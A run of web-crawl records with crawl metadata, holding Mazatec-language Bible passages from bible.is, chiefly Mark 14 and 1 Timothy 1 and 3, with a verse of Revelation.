22'Kia̱ nga i̱nchibakjèn, Jesús iskábé ni̱ño̱ nchra̱jín, kitsjá‑la̱ kjo̱nda Nainá, isìjòya jè ni̱ño̱ nchra̱jín, a̱kjòn kitsjá‑la̱ xi̱ta̱‑la̱, kitsò‑la̱: ―Chjíbé ni̱ño̱ nchra̱jín kìi̱. Jñà kìi̱, jé ijo‑na̱. 23A̱kjòn iskábé jngo chi̱tsín, [jè ra tjíya nandá xán 'tse̱ uva], kitsjá‑la̱ kjo̱nda Nainá; a̱kjòn kitsjá‑la̱ xi̱ta̱‑la̱, nga'tsì xi̱ta̱‑la̱ ki'tsií nandá xán 'tse̱ uva ra tjíya chi̱tsín. 24Kitsò‑la̱: ―Jè ra̱kìi̱, jé jní‑na̱ ra síkixi̱ya jè kjoa̱ xi̱tse̱ ra tíbindájín‑ko̱‑no nga xa̱ájten ra ta nga̱tjì 'tse̱ xi̱ta̱. 25'Koa̱á xin‑no, mì ti̱ kì sk'i̱‑na nandá xán 'tse̱ uva skanda 'kia̱ nga ki̱jchò ni̱chjin nga ma sk'ia̱a nandá xán xi̱tse̱ ya̱ ñánda̱ nga tíbatéxoma Nainá. 26Jè Jesús ko̱ jñà xi̱ta̱‑la̱, 'kia̱ nga ijye kise jngo‑la̱ so Nainá, a̱kjòn ya̱á kijì ya̱ a̱'ta nindo Yá Olivo. 27Jesús kitsó‑la̱ xi̱ta̱‑la̱: ―Nga'tsì‑najiòn ki̱jmítakón‑nájiòn; nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Si'kén‑ná jè chji̱ngo̱ cho̱ ko̱ jñà forrè ko̱chi̱jndí‑ní.\" 28Tanga 'kia̱ nga ijye kjoa̱áya india‑na, ya̱á kjín ítjòn‑no ya̱ ján nangi Galilea. 29Kitsó Pedro: ―Ni̱'sín tsjín‑takòn‑li nga'tsì jñà xi̱ta̱‑li ra i'ka, 'a̱n mì kì tsjin-tákon‑la. 30Jesús kitsó‑la̱: ―'Koa̱á 'sín xin kixi̱‑la; ti̱jé‑ni ni̱tje̱n ra̱kìi̱, 'kia̱ nga ti̱kje kjindáya jò 'ka̱ káxtí, jàn 'ka̱ ko̱síi̱ nga mì kì 'yaxkon‑ná. 31Jè Pedro isa̱á 'ñó kiìchja̱‑isa; kitsò: ―Ni̱'sín ya̱ katiyako̱o‑la, mì kì kjójna̱'ma jiàa̱n. Ngásòn kitsò ijye xi̱ta̱‑la̱ ra i'ka. 32Kijí jngo i̱'nde ñánda̱ 'mì Getsemaní; jè Jesús kitsó‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱: ―Ya̱ ti̱tsa̱jna i̱jndíi̱; 'koa̱à‑la chi̱ba̱‑la̱ kichjà'ta‑la̱ Nainá. 33Jesús kiìko̱ó Pedro, Jacobo, ko̱ Juan. A̱kjòn tsikí'tsia̱ nga ba ki'se‑la̱ ko̱ isíkájno. 34Kitsò‑la̱ xi̱ta̱‑la̱: ―Taxki̱ 'ñó ba tjín‑la̱ jè inìma̱‑na̱; sí 'koa̱á ma‑na koni tsa ki̱yáa̱. Ti̱tsa̱jna i̱jndíi̱, ti̱tsa̱jnakon. 35Jesús kiìkjá chiba‑isa. A̱kjòn tsasèn-xkó'nchi'ta nangi nga kiìchja̱'ta‑la̱ Nainá, nga tsa maá‑la katatjahíxìn‑la̱ kjo̱hi'in. 36'Kia̱ nga tíchja̱'ta‑la̱ Nainá, kitsó‑la̱: ―Na̱'ìn, Na̱'ìn, ra a̱'ta tsa̱ji ma ijye‑ní ni̱ta mé kjoa̱‑ni. Chjíixìn‑ná ji̱ kjo̱hi'in ra̱kìi̱; tanga mì tsa jè 'én tsa̱'a̱n katabitjasòn; jé katitjasòn koni 'sín mejèn‑li. 37A̱kjòn 'ji india‑ni ya̱ ñánda̱ títsa̱jna xi̱ta̱‑la̱, tanga ijyeé kjifè. Kitsó‑la̱ jè Pedro: ―Simón, ¿a titsjajnafé‑níi̱? ¿A sí mí káchíkjoa̱‑li tsa tà jngo hora kabìjnakin? 38Ti̱tsa̱jnakon ko̱ ti̱nákjoa̱'ta‑la Nainá mé‑ni nga mì jé ska̱jin‑no. Kixi̱í kjoa̱, jé inìma̱‑ná tíjnanda‑ní nga mejèn‑la̱ si̱hitjasòn, tanga ra jè ijo‑ná, tsìn‑la̱ nga'ñó nga ma‑la̱ síhitjasòn. 39Jesús kiìchja̱'ta india‑la̱ Nainá. 'Koa̱á ti̱'sín kitsò india‑ni koni kitsò nga ti̱'sa̱ ítjòn. 40'Kia̱ nga 'ji india‑ni, jñà xi̱ta̱‑la̱ takó kjifé india‑ni, tà nga̱tjì‑la̱ nga̱ 'ñó nijñá‑la̱. Mì kì ti̱ be‑ni kó ki̱tso̱‑la̱ Jesús. 41Ra kjomà jàn 'ka̱ nga 'ji‑ni Jesús, kitsó‑la̱: ―Tsjafè‑isa ko̱ ti̱kjáya. Katafehe'ta kjoa̱. Chítsijen; ijyeé ijchò chi̱ba̱‑la̱ nga 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ ya̱á ko̱nga̱tsja jñà ra xi̱ta̱‑jé. 42Ti̱sítje̱en ko̱ tjiaán; ijyeé nchrabá chraña jè ra si̱ìnga̱tsja‑na xi̱ta̱ kondra̱‑na̱. 43Takó ti̱'kia̱á tíchja̱‑isa‑ni Jesús nga 'ji jè ra 'mì Judas, jngo xi̱ta̱‑la̱ Jesús jñà ra tejò ma‑ni. Kjín xi̱ta̱ tji̱ko̱ ra 'ya ki̱cha̱ ndajò, ti̱'koa̱ 'ya yá. Jñà xi̱ta̱ kìi̱, jñá isìkasén jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ko̱ jñà xi̱ta̱ jchínga ra 'tse̱ xi̱ta̱ judío. 44Judas, jè ra tsi'kéna̱jmí'tin Jesús, tje̱n kitsò ítjòn‑la̱ jñà xi̱ta̱ ra tji̱ko̱: ―Jè ra skíne̱'ta i̱sén‑la̱, jè‑ní ra ki̱nda̱ba̱'ñó jiòn, ko̱ nda kjón tahíko̱o. 45'Kia̱ nga ijchò Judas, kiì kasi'ta chrañaá‑la̱ Jesús, kitsò‑la̱: ―Maestro. A̱kjòn iskine'ta i̱sén‑la̱. 46Jñà xi̱ta̱ ra tji̱ko̱, ndi̱to̱ón itsabá'ñó Jesús. 47Tanga jngo xi̱ta̱ ra ya̱ síjnajin, tsachrje ki̱cha̱ ndajò‑la̱. Tsajá‑la̱ jè xi̱ta̱ chi̱'nda‑la̱ na̱'mì ítjòn; tsate'tà chíká‑la̱. 48Jesús kiìchja̱, kitsò: ―¿Mé‑ni ko̱'sín kà'fìi̱ ndabá'ñó‑nájiòn koni tsa jngo xi̱ta̱ chijé, nga ko̱ ki̱cha̱ ko̱ yá ki'chà‑no? 49Ni̱chjin nchijón tsakáti̱jnako̱‑no ya̱ i̱ngo̱ ítjòn nga tsakón‑yá‑no, ko̱ mì kì indabá'ñó‑nájiòn. Tanga kií ko̱'sín tíma‑ni mé‑ni nga ki̱tjasòn‑ni jè 'én ra tjí'ta xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá. 50'Kia̱á jahachinga nga'tsì jñà xi̱ta̱‑la̱, isíkíjna ta̱jngo jè Jesús. 51Jngo ti tji̱ngi‑la̱ ra tíjnajté jngo nikje chraba. Jñà xi̱ta̱ itsabá'ñó‑te, 52tanga jè ti ra̱kìi̱ kitsjiín nikje chraba‑la̱; a̱kjòn ta 'koa̱á 'sín tsanga líká. 53Jñà xi̱ta̱ kìi̱, ya̱á kiìko̱ Jesús ya̱ ñánda̱ tíjna na̱'mì ítjòn. Ya̱á kjóxkóya kóhotjín xi̱ta̱ ítjòn 'tse̱ na̱'mì, jñà xi̱ta̱ jchínga 'tse̱ xi̱ta̱ judío, ko̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. 54Jè Pedro, tà kjin, ta kjiín basèn-tji̱ngi skanda nga ijchò ya̱ ndi̱tsin ni'ya‑la̱ na̱'mì ítjòn. Ya̱á tsikijnajin‑la̱ ya̱ ñánda̱ títsa̱jna jñà xi̱ta̱ ra síkinda̱ ni'ya i̱ngo̱ nga títsa̱jna'ngi. 55Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ nga'tsì xi̱ta̱ ra tjín‑la̱ xá a̱'ta 'tse̱ xi̱ta̱ Judío tsakátsjií xi̱ta̱ ra tsjá'tin 'én Jesús mé‑ni nga ko̱ma ki̱ìnè‑ila̱ kjo̱hi'in nga si̱ì'ken, tanga ni̱mé kjoa̱ ra isakò‑la̱ ra a̱'ta 'tse̱. 56Kjín ma‑ni xi̱ta̱ ra tsakánè 'én ndiso ra kondra̱ 'tse̱ Jesús; tanga kja̱ kj'ií kja̱ kj'ií tsò 'én ra tsakánè ko̱ mì kì kjóngásòn jñà 'én‑la̱. 57Tsincha kixi̱í i'ka xi̱ta̱ ra kitsjà 'én ndiso. Kitsò: 58―Ji̱ín ina'yá‑la̱ji̱n nga kitsò: \"'A̱n, sikíxojen‑ná jè i̱ngo̱ ítjòn ra ta tsja xi̱ta̱ kisinda‑ni, ko̱ ta ján ni̱chjin kindá ìjngo-isa‑na ra mì tsa tsja xi̱ta̱ si̱nda‑ni.\" 59Takó mì kì kjóngásòn 'én‑la̱ ni̱'sín ko̱'sín kitsò. 60'Kia̱á tsasítje̱n jè na̱'mì ítjòn; tsasijna kixi̱ ya̱ masen‑la̱ nga'tsì xi̱ta̱, iskonangi‑la̱ Jesús, kitsò‑la̱: ―¿A mí kósii̱? ¿Mé 'én ra ko̱tsò bánè‑li xi̱ta̱ kìi̱? 61Jè Jesús jyó tsikijna, ni̱mé 'én kiìchja̱. Jè na̱'mì ítjòn, ìjngo 'ká iskonangi‑la̱, kitsò‑la̱: ―¿A ji̱‑ní Cristo, ra I'ndí‑la̱ Nainá ra 'ñó nda 'yaxkón? 62Jesús kitsò: ―'A̱n‑náa̱, ko̱ 'sa̱á jcha̱‑nájiòn 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, nga ya̱ kóti̱jna ya̱ ngakixi̱‑la̱ Nainá ra tse nga'ñó tjín‑la̱, ko̱ ti̱'koa̱á jcha̱a‑na 'kia̱ nga kji̱nchrabàjìa̱n ifi ján ngajmi. 63Jè na̱'mì ítjòn iskíchrja̱yajnoó ijo‑la̱ nga 'ñó jti kjomà‑la̱, kitsò: ―¿Mé 'sia̱n‑isa‑ná xi̱ta̱ ra tsjá 'én? 64Jiòn sabá kàna'yá‑la koni 'sín kachja̱jno‑la̱ Nainá. ¿Kó'sín ma‑no? ¿Mé ra si̱ke̱é? Nga'tsì xi̱ta̱, 'koa̱á 'sín kitsò nga bakèn‑la̱ nga ki̱yá. 65Jñà xi̱ta̱ tsikí'tsia̱‑ní nga tsikíchrájno ko̱ tsikíchjà xko̱n, tsi'ké‑la̱ chrjo̱ngo̱, kitsò‑la̱: ―¿'Koa̱á tjási‑ni, yá ra tí'bé‑li? Ko̱ jñà xi̱ta̱ ra síkinda̱ i̱ngo̱, isìjtsin'á i̱sén‑la̱. 66Jè Pedro ya̱á tíjna ya̱ ndi̱tsin ya̱ i̱nàjngi ni'ya‑la̱ [na̱'mì ítjòn]. Ijchó jngo chjo̱ón chi̱'nda‑la̱ na̱'mì ítjòn. 67'Kia̱ nga kijtse Pedro, nga tíjna'ngi, iskotsíjen‑jnó‑ní, kitsò‑la̱: ―Ti̱'koa̱á ngaji̱, ya̱á tjájmekíi̱ Jesús ra Nazaret i̱'nde‑la̱. 68Tanga jè Pedro tsakja'ma‑ní. Kitsò: ―Mì kì bexkon. Mì kì be, mé ra ko̱'mì‑la ji̱. Jè Pedro a̱kjòn itjo, ya̱á ikasijto xo̱tjo̱ba̱‑la̱ ni'ya. 'Kia̱á iskindaya jngo káxtí. 69Jè chjo̱ón chi̱'nda‑la̱ na̱'mì, kijtseé india‑ni jè Pedro. Kitsò‑la̱ jñà xi̱ta̱ ra ya̱ títsa̱jna: ―Jè xi̱ta̱ ra̱kìi̱, xi̱ta̱ 'tse̱‑ní. 70Tanga jè Pedro tsakja'maá india‑ni. Ra kjomà a̱skan‑nioo̱, jñà xi̱ta̱ ra ya̱ títsa̱jna, india ko̱kitsò-isa‑la̱ Pedro: ―'Én kixi̱‑nì, ngaji̱, xi̱ta̱‑la̱ Jesús‑ní nga Galilea i̱'nde‑li, 'koa̱á 'sín tsò 'én‑li. 71Jè Pedro 'kia̱á 'ñó kiìchja̱‑isa, kitsò: ―¡Katakajian kjo̱hi'in tsa mì 'én kixi̱ ra ko̱tíxian‑no, nga mì kì bexkon xi̱ta̱ ra ko̱'mì‑la jiòn! 72Ti̱'kia̱á‑ni nga ko̱títsò Pedro, jè ra ma‑ni jò 'ka̱ iskindaya jè káxtí. 'Kia̱á itjokítsjen‑la̱ Pedro koni 'sín kitsò‑la̱ Jesús nga kitsò‑la̱: \"'Kia̱ nga ti̱kje kjindáya jò 'ka̱ káxtí, ngaji̱, jàn 'ka̱ ko̱síi̱ nga mì kì 'yaxkon‑ná.\" 'Kia̱ nga ítsjen‑la̱ kjoa̱ kìi̱, taxki̱ 'ñó iskindaya.\nSan Marcos 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/14","date":"2013-12-12T03:14:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164391000\/warc\/CC-MAIN-20131204133951-00080-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":1666,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè 'én ra̱kìi̱, ngi 'én kixi̱‑ní: tsa tjín jngo xi̱ta̱ ra mejèn‑la̱ xá nga na̱xi̱ndá‑la̱ Nainá si̱ìkinda̱, 'ñó nda tjín xá ra mejèn‑la̱. 2Jè xi̱ta̱ ra síkinda̱ na̱xi̱ndá‑la̱ Nainá machjeén‑ní nga nda 'si̱in mé‑ni nga nì yá ra 'cho ki̱tso̱‑la̱. Jngoó chjo̱ón 'se̱‑la̱; jngo xi̱ta̱ ra inda tjín ikon; xi̱ta̱ ra nda kosòn‑la̱ ijo‑la̱; xi̱ta̱ ra 'yaxkón nga ndaá tísíjchá ijo‑la̱; ra ndaá sísin‑la̱ xi̱ta̱ ra bijchójkon ni'ya‑la̱; xi̱ta̱ ra nda ma‑la̱ bakón‑ya; 3ra mì tsa xi̱ta̱ 'chi̱; ra mì tsa xi̱ta̱ kjaán‑ko̱; ra mì tsa to̱n chijé matsjake. Jé machjeén xi̱ta̱ ra nda xi̱ta̱, ra mì kjo̱si sísin, ra mì tsa to̱n kájno‑la̱. 4Machjeén‑ní nga nda ko̱tèxoma ya̱ ni'ya‑la̱; ko̱ jñà i̱xti‑la̱ nda katasíkixi̱, mé‑ni nga si̱hitjasòn‑la̱ ko̱ nda ske̱xkón xi̱ta̱ xákjín. 5Tsa mì kì ma‑la̱ batéxoma ni'ya‑la̱, ¿kó'sín ka̱ma si̱ìkinda̱‑ni xi̱ta̱ na̱xi̱ndá‑la̱ Cristo? 6Jè xi̱ta̱ ra síkinda̱ na̱xi̱ndá‑la̱ Nainá jé machjeén ra ijye kjotseé kjokjiín‑la̱, mé‑ni nga mì 'nga ikon ko̱ma‑ni a̱skan‑nioo̱ nga mì kjo̱hi'in sa̱kò‑la̱ koni 'sín kjomà'tin jè xi̱ta̱‑ni̱í. 7Machjeén‑ní nga nda si̱ìjchá ijo‑la̱ mé‑ni nga ske̱xkón‑ni xi̱ta̱ ra mì kì makjiín‑la̱ a̱'ta 'tse̱ Cristo, nga mì 'cho kíjna, nga mì jè xi̱ta̱‑ni̱í si̱ìkijne‑la̱. 8'Koa̱á ti̱'sín tjín 'tse̱ xi̱ta̱ ra si̱hitjasòn xá nga ko̱si̱ko̱'ta xi̱ta̱ na̱xi̱ndá‑la̱ Nainá; jñá machjeén xi̱ta̱ ra 'yaxkón nga ndaá i̱nchisíjchá ijo‑la̱; mì kì ko̱ma si̱ìkaatjìya‑la̱ 'én ra ki̱chja̱. Mì kì ko̱ma xán ko̱hijtako̱; mì kì ko̱ma to̱n chijé ko̱tsjake. 9Machjeén‑ní nga nda katafì'ta‑la̱ kjoa̱ ra tjí'ma ra ijye tsakón Nainá koni 'sín makjiín‑ná ra a̱'ta 'tse̱ Cristo. Ti̱'koa̱ machjeén‑ní nga tsje katasíkítsa̱jna kjo̱bítsjen‑la̱. 10Jñà xi̱ta̱ ra si̱hitjasòn xá nga ko̱si̱ko̱ na̱xi̱ndá‑la̱ Nainá, ítjòn katachí'ta tsa nìmé kjoa̱ tjín‑la̱, a̱kjòn 'kia̱á katasíhitjasòn. 11'Koa̱á ti̱'sín tjín 'tse̱ íchjín; jñá machjeén ra 'yaxkón nga ndaá i̱nchisíjchá ijo‑la̱; jñà ra mì 'én ndiso chja̱; jñà ra inda tjín ikon; jñà ra nda síhitjasòn ijye ta mé kjoa̱‑nioo̱. 12Jñà xi̱ta̱ ra si̱hitjasòn xá nga ko̱si̱ko̱ na̱xi̱ndá‑la̱ Nainá, machjeén‑ní nga tà jngoó chjo̱ón 'se̱‑la̱; nda katatéxoma‑la̱ i̱xti‑la̱ ko̱ xi̱ta̱ ra tjíhijyo ya̱ ni'ya‑la̱. 13Jñà xi̱ta̱ ra nda si̱hitjasòn xá kìi̱, isa̱á nda jcha̱xkón ko̱ isa̱á 'ñó nda 'se̱ ikon koni 'sín makjiín‑la̱ a̱'ta 'tse̱ Cristo Jesús. 14Mején‑na nga íjkon ndi̱to̱n‑la, tanga tsa kií ni̱chjin‑la̱ ki̱chjin‑na, 'koa̱á ma‑ni nga tíbindá‑la xa̱jo̱n ra̱kìi̱, 15mé‑ni nga jcha̱‑ni kó'sín ki̱tsa̱jnake̱é xi̱ta̱ xàngie̱é ya̱ a̱jin na̱xi̱ndá‑la̱ Nainá ra tíjnakon. Jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá, ya̱á tjíya tsja 'én kixi̱‑la̱ Nainá. 16Ngi 'én kixi̱‑ní nga 'ñó jeya tíjna jè kjoa̱ ra tjí'ma‑la̱ Nainá ra ijye tsakón koni 'sín nga 'yaxkén Nainá. Kií tsò: Nainá, xi̱ta̱á kjomà nga 'ji i̱ i̱sà'nde, a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ kijchaá‑la̱ nga tjín‑la̱ kjo̱hixi̱, jñà ìkja̱li̱ kijtse‑ní; 'én‑la̱, ki'sena̱jmíya‑la̱ nga'tsì ra mì tsa xi̱ta̱ judío; nga tjíjtsa i̱sà'nde kjokjiín‑la̱ xi̱ta̱ a̱'ta 'tse̱ Cristo; jeyaá itjábétjò‑ni ján ngajmi.\n1 Timoteo 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Tim\/3","date":"2013-12-12T11:47:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164581855\/warc\/CC-MAIN-20131204134301-00096-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":448,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.35,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9'A̱n ra 'mì‑na Juan, ra 'ndsé chibé tísíngásòn‑ko̱‑najiòn ta nga̱tjì‑la̱ nga ngásòn ya̱ mahítji̱ngi‑lá jè Jesucristo; 'koa̱á ma‑ni nga ngásòn i̱nchinìkjeén kjo̱hi'in, ko̱ ngásòn ya̱ nakjoá‑ná ñánda̱ nga Nainá tíbatéxoma ko̱ ngásòn i̱nchichíkjoa̱jin‑ná nga'tsì kjoa̱. India 'kia̱ nga ya̱ tíjna̱ i̱'nde ra kjijnajin‑ndá ra 'mì Patmos ta nga̱tjì‑la̱ 'én‑la̱ Nainá ko̱ tà nga̱tjì‑la̱ nga jè tsi'kènájmíya a̱'ta 'tse̱ Jesucristo.\nApocalipsis 1:9\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/1\/9","date":"2013-12-13T12:35:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164941522\/warc\/CC-MAIN-20131204134901-00082-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000053644180298}","num_words":63,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n Pablo, tíbindá‑la xa̱jo̱n ra̱kìi̱, 'a̱n ra ko̱'sín tsikíxáya‑na Jesucristo koni 'sín kitsjà kjo̱hixi̱ Nainá ra bachrjekàjin‑ná kjo̱hi'in ko̱ Jesucristo ra tíjna ítjòn‑ná nga i̱nchichiñá‑lá kjo̱nda‑la̱. 2Ngaji̱ Timoteo, ra koni tsa i'ndí‑na̱ xin‑la nga 'a̱n tsakon‑yá nda‑la koni 'sín makjiín‑ná a̱'ta 'tse̱ Cristo. Nainá ra Na̱'ín‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑li kjo̱nda, katamahi̱ma̱ke‑li, ko̱ kata'se‑la̱ kjo̱'nchán ya̱ a̱jin inìma̱‑li. 3Koni 'sín tsikitsá'ba‑la 'kia̱ nga kia ya̱ ján nangi Macedonia nga kíxian‑la, ya̱ ti̱jni na̱xi̱ndá Éfeso mé‑ni nga ji̱ kíchjákjáya‑la̱ xi̱ta̱ ra kj'ií kjoa̱ i̱nchibakón‑ya ya̱ a̱jin na̱xi̱ndá‑la̱ Nainá. 4Ngaji̱ Timoteo, 'koa̱á 'sín tinè‑la̱ jñà xi̱ta̱ kìi̱, kì jñà sísin‑la̱ kuendo̱ jchínga ra mì tsa kixi̱ kjoa̱, ti̱'koa̱á kì jñà sísin‑la̱ kjoa̱ ra mì kì fehe'ta 'tse̱ xi̱ta̱ jchínga kjotseé. Kjoa̱ kìi̱, nì mé chjí‑la̱. Tà síkjaán‑kjo‑ná. Mì kì basìko̱‑ná nga makjiín‑ná a̱'ta 'tse̱ Cristo mé‑ni nga ka̱ma si̱hitjasón‑ná koni 'sín nga mejèn‑la̱ Nainá. 5Kjoa̱ ra tíbiné‑la, jé‑ní nga kata'se‑ná kjo̱tsjacha. Tanga ítjòn machjeén nga tsje katijna inìma̱‑ná ko̱ tsje katijna kjo̱bítsjen‑ná ko̱ ngi nda katakjiín‑ná a̱'ta 'tse̱ Cristo. 'Koa̱á 'sín ka̱ma‑ni nga nda ko̱tsjacheé xàngie̱é. 6Tanga tjín i'ka xi̱ta̱ ra tsincha'taxìn‑la̱ kjoa̱ kìi̱; ta xín ndi̱yá tjímaya; ta kií sísin‑la̱ 'én ra nìmé chjí‑la̱. 7Mejèn‑la̱ maestro 'tse̱ kjo̱téxoma‑la̱ Nainá kítsa̱jna. Tanga jñà, nda mí kì machi̱ya‑ila̱ 'én ra chja̱ nga 'ñó chja̱ nga tsò nga kixi̱í kjoa̱ 'én ra bakón‑ya. 8Tjíjin‑ná nga jè kjo̱téxoma ra kitsjà Nainá ndaá tjín tsa ko̱'sín ko̱chjeén koni 'sín mejèn‑la̱ Nainá. 9'Ya‑ná nga jè kjo̱téxoma‑la̱ Nainá, mì tsa 'tse̱‑jìn jñà xi̱ta̱ ra nda 'sín. 'Tse̱é‑ní xi̱ta̱ ra mì kì 'nchréhijon ko̱ ra mì kì síhitjasòn; 'tse̱é‑ní xi̱ta̱ ra mì kì bexkón Nainá ko̱ ra bátsji‑jé; 'tse̱é‑ní xi̱ta̱ ra mì kì tsje tjín kjo̱bítsjen‑la̱, ra tjé betákon jè kjoa̱ tsje‑la̱ Nainá; ti̱'koa̱á 'tse̱é‑ní xi̱ta̱ ra sí'ken na̱'ìn‑la̱ ko̱ na̱‑la̱, ko̱ nga'tsì ra xi̱ta̱ sí'ken. 10Ti̱'koa̱á 'tse̱‑ní jñà xi̱ta̱ ra kjoa̱chijngi 'sín, ko̱ jñà xi̱ta̱ 'xi̱n ra ti̱ xi̱ta̱ 'xi̱n xákjén fahijoko̱‑nì, ko̱ xi̱ta̱ ra fìko̱ chijé xákjén nga batína. Ti̱'koa̱á 'tse̱‑ní jñà xi̱ta̱ ndiso ko̱ xi̱ta̱ ra mì tsa 'én kixi̱ chja̱, ko̱ xi̱ta̱ ra 'cho tjín kjoa̱ ra 'sín ra kondra̱ fì‑la̱ kjo̱bítsjen ra nda tjín. 11'Koa̱á 'sín bakón‑ya jè 'én nda ra jeya tíjna a̱'ta 'tse̱ Cristo ra kitsjà Nainá ra tse kjo̱nda tíjnajin; ko̱ 'a̱án isìnga̱tsja‑na mé‑ni nga kichjàya. 12Tse kjo̱nda kata'se‑la̱ Jesucristo ra tíjna ítjòn‑ná nga kitsjà‑na nga'ñó ti̱'koa̱ nda kijtsetákon‑na nga 'a̱n isìnga̱tsja‑na xá‑la̱. 13Ni̱'sín 'kia̱ nga ti̱'sa̱ ítjòn, 'ñó 'cho kí'siaa̱n, kíchjàjnoó‑la̱ Nainá, kondra̱á tsakáti̱jna‑la̱, toón kíjtsee̱ jñà xi̱ta̱‑la̱. Tanga kjòhi̱ma̱keé‑na Nainá. Nga̱ kií ko̱'sín kí'sin‑na nga kjè kì be ko̱ kjè kì makjiín‑na a̱'ta 'tse̱ Cristo. 14Tanga jè kjo̱tjò‑la̱ Na̱'ín‑ná isa̱á 'ñó tse kitsjà‑na, ti̱'koa̱ tsasìko̱ó‑na nga kjomà kjokjiín‑na ko̱ kitsjá‑na kjo̱tsjacha‑la̱ nga jè Cristo tíjna̱ko̱. 15Jñà 'én kìi̱, ngi 'én kixi̱‑ní. Machjeén‑ní nga ko̱kjiín ijye‑la̱ xi̱ta̱ nga jè Jesucristo 'ji i̱ i̱sà'nde nga ko̱chrjekàjin kjo̱hi'in nga'tsì xi̱ta̱ ra jé tjín‑la̱. Tíjna̱ ítjòn kjòo̱n ra 'a̱n nga isa̱ 'ñó 'cho kí'siaa̱n tà nga'tsì xi̱ta̱. 16Tanga ni̱'sín 'ñó 'cho kí'siaa̱n, jè Nainá ki'se‑la̱ kjo̱hi̱ma̱takòn ra a̱'ta tsa̱'a̱n. Jñà xi̱ta̱, 'kia̱ nga ske̱ kó'sín nga isìko̱‑na Jesucristo nga 'ñó tjín‑la̱ kjo̱jetakòn, ti̱'koa̱á ko̱kjiín‑te‑la̱ a̱'ta 'tse̱ Cristo nga 'se̱‑la̱ kjo̱binachon ni̱ta mé ni̱chjin‑nioo̱. 17Nainá 'nga katijna, kata'se‑la̱ kjoa̱jeya ni̱ta mé nó ko̱ ni̱ta mé ni̱chjin‑nioo̱. Nga̱ jè tíbatéxoma ki'ta ko̱ mì kì kje̱he'tà ni̱chjin‑la̱ ni̱ta kjiá‑nioo̱, ti̱'koa̱á mì kì tsijen‑ni ñánda̱ tíjna, ngi tà jé ta̱jngo‑ni ra Nainá. Ko̱'sín katama. 18Ngaji̱ Timoteo ra koni tsa i'ndí‑na̱ xin‑la, ya̱á singátsja‑la 'én kìi̱, koni 'sín kitsò xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ a̱'ta tsa̱ji, mé‑ni nga a̱'ta 'tse̱ 'én kìi̱, tsjá‑li nga'ñó nga nda si̱xá‑la̱ Nainá koni 'sín síxá jngo chíchàn. 19Nda katakjiín‑li a̱'ta 'tse̱ Cristo ti̱'koa̱ nda katijna kjo̱bítsjen‑li. Tjín i'ka xi̱ta̱ ra mì kì isìsin kjo̱bítsjen ra nda tjióo̱n. 'Koa̱á 'sín kjomà‑ni nga isìkitsón kjoa̱ ra makjiín‑la̱. 20'Koa̱á 'sín kjomà'tin jè Himeneo ko̱ Alejandro ra 'a̱n isíkítsa̱jnako̱ xi̱ta̱‑ni̱í, mé‑ni nga katakixi̱ya‑ni nga mì kì taxki̱ ki̱chja̱jno‑la̱ Nainá.\n1 Timoteo 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Tim\/1","date":"2013-12-05T21:44:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163048129\/warc\/CC-MAIN-20131204131728-00094-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":649,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga k'oa̱'mì‑nòje̱n kjoa̱ koi, ¿a bìts'ia̱ ìjngoò k'a‑je̱n nga ndaà nìkítsa̱jna‑je̱n yijo‑naje̱n? 